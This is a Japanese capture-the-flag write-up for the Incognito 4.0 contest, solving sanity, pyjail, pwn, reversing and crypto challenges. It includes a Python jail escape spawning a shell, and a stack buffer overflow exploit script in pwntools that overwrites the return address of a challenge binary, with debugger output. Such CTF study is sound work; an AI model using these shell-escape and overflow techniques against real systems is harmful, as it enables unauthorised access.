Incognito 4.0 Writeup

この大会は2023/2/17 21:00(JST)~2023/2/18 21:00(JST)に開催されました。
今回もチームで参戦。結果は2252点で525チーム中123位でした。
自分で解けた問題をWriteupとして書いておきます。

sanity (sanity)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

ictf{heres_s0m3_s4n1ty_91823dd}

more sanity (sanity)

ictf-botにDMで !flag とメッセージしたら、フラグが表示された。

ictf{!flag_work5??_p718jq091}

TheOnlyJail (pyjail)

$ nc 143.198.219.171 3333
Welcome to the IIITL Jail! Escape if you can
jail> import os
jail> os.system("sh")
ls -l
total 64
lrwxrwxrwx   1 root root    7 Jan 26 02:03 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Apr 18  2022 boot
drwxr-xr-x   5 root root  340 Feb 17 18:12 dev
drwxr-xr-x   1 root root 4096 Feb 16 16:55 etc
drwxr-xr-x   1 root root 4096 Feb 16 16:03 home
lrwxrwxrwx   1 root root    7 Jan 26 02:03 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Jan 26 02:03 lib32 -> usr/lib32
lrwxrwxrwx   1 root root    9 Jan 26 02:03 lib64 -> usr/lib64
lrwxrwxrwx   1 root root   10 Jan 26 02:03 libx32 -> usr/libx32
drwxr-xr-x   2 root root 4096 Jan 26 02:03 media
drwxr-xr-x   2 root root 4096 Jan 26 02:03 mnt
drwxr-xr-x   2 root root 4096 Jan 26 02:03 opt
dr-xr-xr-x 353 root root    0 Feb 17 18:12 proc
drwx------   1 root root 4096 Feb 17 12:44 root
drwxr-xr-x   1 root root 4096 Feb 17 18:12 run
lrwxrwxrwx   1 root root    8 Jan 26 02:03 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 Jan 26 02:03 srv
-rwxr-xr-x   1 root root   53 Feb 16 15:07 start.sh
dr-xr-xr-x  13 root root    0 Feb 17 18:12 sys
drwxrwxrwt   1 root root 4096 Feb 16 15:11 tmp
drwxr-xr-x   1 root root 4096 Jan 26 02:03 usr
drwxr-xr-x   1 root root 4096 Jan 26 02:06 var
ls -l /home
total 8
drwxr-x--- 1 root ctf 4096 Feb 16 16:25 ctf
ls -la /home/ctf
total 36
drwxr-x--- 1 root ctf  4096 Feb 16 16:25 .
drwxr-xr-x 1 root root 4096 Feb 16 16:03 ..
-rwxr-x--- 1 root ctf   220 Jan  6  2022 .bash_logout
-rwxr-x--- 1 root ctf  3771 Jan  6  2022 .bashrc
-rwxr-x--- 1 root ctf   807 Jan  6  2022 .profile
-rwxr----- 1 root ctf    42 Feb 14 19:35 flag.txt
-rwxr-x--- 1 root ctf   747 Feb 14 19:34 jail.py
cat /home/ctf/flag.txt
ictf{ff8ab219-a90b-44f8-9273-ccc13766f2eb}
ictf{ff8ab219-a90b-44f8-9273-ccc13766f2eb}

babyFlow (pwn)

$ file babyFlow 
babyFlow: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=e5fdcc6030ccf9d36747c71494f2c13507cf5a5a, for GNU/Linux 4.4.0, not stripped

$ checksec.sh --file babyFlow
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   babyFlow

Ghidraでデコンパイルする。

undefined4 main(void)

{
  char local_60 [80];
  undefined *local_10;
  
  local_10 = &stack0x00000004;
  puts("can you pass me?");
  gets(local_60);
  vulnerable_function(local_60);
  return 0;
}

void vulnerable_function(char *param_1)

{
  char local_18 [16];
  
  strcpy(local_18,param_1);
  return;
}

void get_shell(void)

{
  execve("/bin/sh",(char **)0x0,(char **)0x0);
  return;
}

BOFでget_shell関数をコールできればよい。

$ gdb -q ./babyFlow
Reading symbols from ./babyFlow...
(No debugging symbols found in ./babyFlow)
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/babyFlow 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
can you pass me?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.


[----------------------------------registers-----------------------------------]
EAX: 0xffffd0f4 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EBX: 0x41434141 ('AACA')
ECX: 0xffffd180 ("6AAL")
EDX: 0xffffd154 ("6AAL")
ESI: 0xffffd244 --> 0xffffd3eb ("/mnt/hgfs/Shared/babyFlow")
EDI: 0xf7ffcb80 --> 0x0 
EBP: 0x41412d41 ('A-AA')
ESP: 0xffffd110 ("AA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x44414128 ('(AAD')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x44414128
[------------------------------------stack-------------------------------------]
0000| 0xffffd110 ("AA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffd114 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffd118 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffd11c ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffd120 ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xffffd124 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffd128 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xffffd12c ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x44414128 in ?? ()
gdb-peda$ patto A-AA
A-AA found at offset: 20
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('143.198.219.171', 5000)
else:
    p = process('./babyFlow')

elf = ELF('./babyFlow')

get_shell_addr = elf.symbols['get_shell']

payload = b'A' * 20
payload += p32(get_shell_addr)

data = p.recvline().rstrip()
print(data)
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to 143.198.219.171 on port 5000: Done
[*] '/mnt/hgfs/Shared/babyFlow'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
b'can you pass me?'
b'AAAAAAAAAAAAAAAAAAAA\xfc\x91\x04\x08'
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
$ ls /home
ctf
$ ls /home/ctf
easyExploitation
flag
$ cat /home/ctf/flag
ictf{bf930bcd-6c10-4c05-bdd8-435db4b50cdb}
ictf{bf930bcd-6c10-4c05-bdd8-435db4b50cdb}

Gainme (pwn)

Ghidraでデコンパイルする。

undefined4 main(void)

{
  code *local_68 [4];
  undefined local_58 [64];
  code *local_18;
  int local_14;
  undefined *local_10;
  
  local_10 = &stack0x00000004;
  local_68[0] = lvlone;
  local_68[1] = lvltwo;
  local_68[2] = lvlthree;
  local_68[3] = lvlfour;
  setvbuf(stdout,(char *)0x0,2,0);
  puts("Solve the levels to gain access to the flag");
  for (local_14 = 0; local_14 < 4; local_14 = local_14 + 1) {
    printf("Enter input for Level %d: ",local_14);
    __isoc99_scanf(&DAT_0001207f,local_58);
    local_18 = local_68[local_14];
    (*local_18)(local_58);
  }
  print_flag();
  return 0;
}

void lvlone(char *param_1)

{
  int iVar1;
  
  iVar1 = strcmp(param_1,"ICTF4");
  if (iVar1 != 0) {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  return;
}

void lvltwo(int param_1)

{
  size_t sVar1;
  undefined4 local_22;
  undefined4 uStack_1e;
  undefined4 uStack_1a;
  undefined4 uStack_16;
  undefined2 local_12;
  uint local_10;
  
  local_22 = 0x44736164;
  uStack_1e = 0x57515341;
  uStack_1a = 0x72746a67;
  uStack_16 = 0x73646f6b;
  local_12 = 99;
  local_10 = 0;
  while( true ) {
    sVar1 = strlen((char *)&local_22);
    if (sVar1 <= local_10) {
      return;
    }
    if (*(char *)((int)&local_22 + local_10) != *(char *)(param_1 + local_10)) break;
    local_10 = local_10 + 1;
  }
                    /* WARNING: Subroutine does not return */
  exit(0);
}

undefined ** lvlthree(int *param_1)

{
  if (*param_1 != -0x21524111) {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  return &_GLOBAL_OFFSET_TABLE_;
}

void lvlfour(char *param_1)

{
  size_t sVar1;
  int iVar2;
  
  sVar1 = strlen(param_1);
  if (3 < sVar1) {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  iVar2 = atoi(param_1);
  if (iVar2 * 3 + iVar2 * iVar2 * -3 + -1 + iVar2 * iVar2 * iVar2 == 0) {
    puts("Congratulations");
    return;
  }
                    /* WARNING: Subroutine does not return */
  exit(0);
}

Level 0では、"ICTF4"を指定すればよい。
Level 1では、以下を考える。

>>> (0x44736164).to_bytes(4, "little")
b'dasD'
>>> (0x57515341).to_bytes(4, "little")
b'ASQW'
>>> (0x72746a67).to_bytes(4, "little")
b'gjtr'
>>> (0x73646f6b).to_bytes(4, "little")
b'kods'
>>> (99).to_bytes(1, "little")
b'c'

"dasDASQWgjtrkodsc"を指定すればよい。
Level 2では、0xdeadbeefをリトルエンディアンで指定すればよい。
Level 3では、以下を考える。

x * 3 - 3 * x**2 - 1 + x**3 = 0
  ↓
(x - 1)**3 = 0
  ↓
x = 1

"1"を指定すればよい。
以上を踏まえて、スクリプトにする。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('143.198.219.171', 5003)
else:
    p = process('./Gainme')

data = p.recvline().decode().rstrip()
print(data)

inp = 'ICTF4'
data = p.recvuntil(b': ').decode()
print(data + inp)
p.sendline(inp.encode())

inp = 'dasDASQWgjtrkodsc'
data = p.recvuntil(b': ').decode()
print(data + inp)
p.sendline(inp.encode())

inp = b'\xef\xbe\xad\xde'
data = p.recvuntil(b': ').decode()
print(data, end='')
print(inp)
p.sendline(inp)

inp = '1'
data = p.recvuntil(b': ').decode()
print(data + inp)
p.sendline(inp.encode())
data = p.recvline().decode().rstrip()
print(data)

data = p.recvrepeat(1).decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to 143.198.219.171 on port 5003: Done
Solve the levels to gain access to the flag
Enter input for Level 0: ICTF4
Enter input for Level 1: dasDASQWgjtrkodsc
Enter input for Level 2: b'\xef\xbe\xad\xde'
Enter input for Level 3: 1
Congratulations
ictf{g@inm3-sf23f-4fd2150cd33db}
[*] Closed connection to 143.198.219.171 port 5003
ictf{g@inm3-sf23f-4fd2150cd33db}

Meow (Rev)

$ strings --encoding=l meow | grep ictf
ictf{easiest_challenge_of_them_all}
ictf{easiest_challenge_of_them_all}

Ancient (crypto)

PNGシグネチャ部分が壊れているので、修復する。

00 00 00 00 aa -> 89 50 4e 47 0d


Cistercian Monk Numeralsの画像なので、https://en.wikipedia.org/wiki/Cistercian_numeralsを見ながら、数値に変換する。

105 99 116 102 123 48 108 100 95 109 48
110 107 95 49 57 48 100 101 49 99 51 125

これをASCIIコードとしてデコードする。

#!/usr/bin/env python3
codes = [105, 99, 116, 102, 123, 48, 108, 100, 95, 109, 48, 110, 107, 95, 49,
    57, 48, 100, 101, 49, 99, 51, 125]

flag = ''
for code in codes:
    flag += chr(code)
print(flag)
ictf{0ld_m0nk_190de1c3}

Crypto1 (crypto)

各インデックスごとに決まった暗号がされているので、1文字ずつブルートフォースで復号する。

#!/usr/bin/env python3

def func(f, i):
    if i<5:
        out = ord(f) ^ 0x76 ^ 0xAD
        var1 = (out & 0xAA) >> 1
        var2 = 2 * out & 0xAA
        return var1 | var2 
    elif i>=5 and i<10:
        out = ord(f) ^ 0x76 ^ 0xBE
        var1 = (out & 0xCC) >> 2
        var2 = 4 * out & 0xCC
        return var1 | var2
    else:
        out = ord(f) ^ 0x76 ^ 0xEF
        var1 = (out & 0xF0) >> 4
        var2 = 16 * out & 0xF0
        return var1 | var2

with open('result', 'r') as f:
    res = f.read()

flag = ''
for i in range(15):
    for code in range(32, 127):
       r = chr(func(chr(code), i))
       if r == res[i]:
           flag += chr(code)
           break

flag = 'ictf{%s}' % flag
print(flag)
ictf{88f30d1cd1ab443}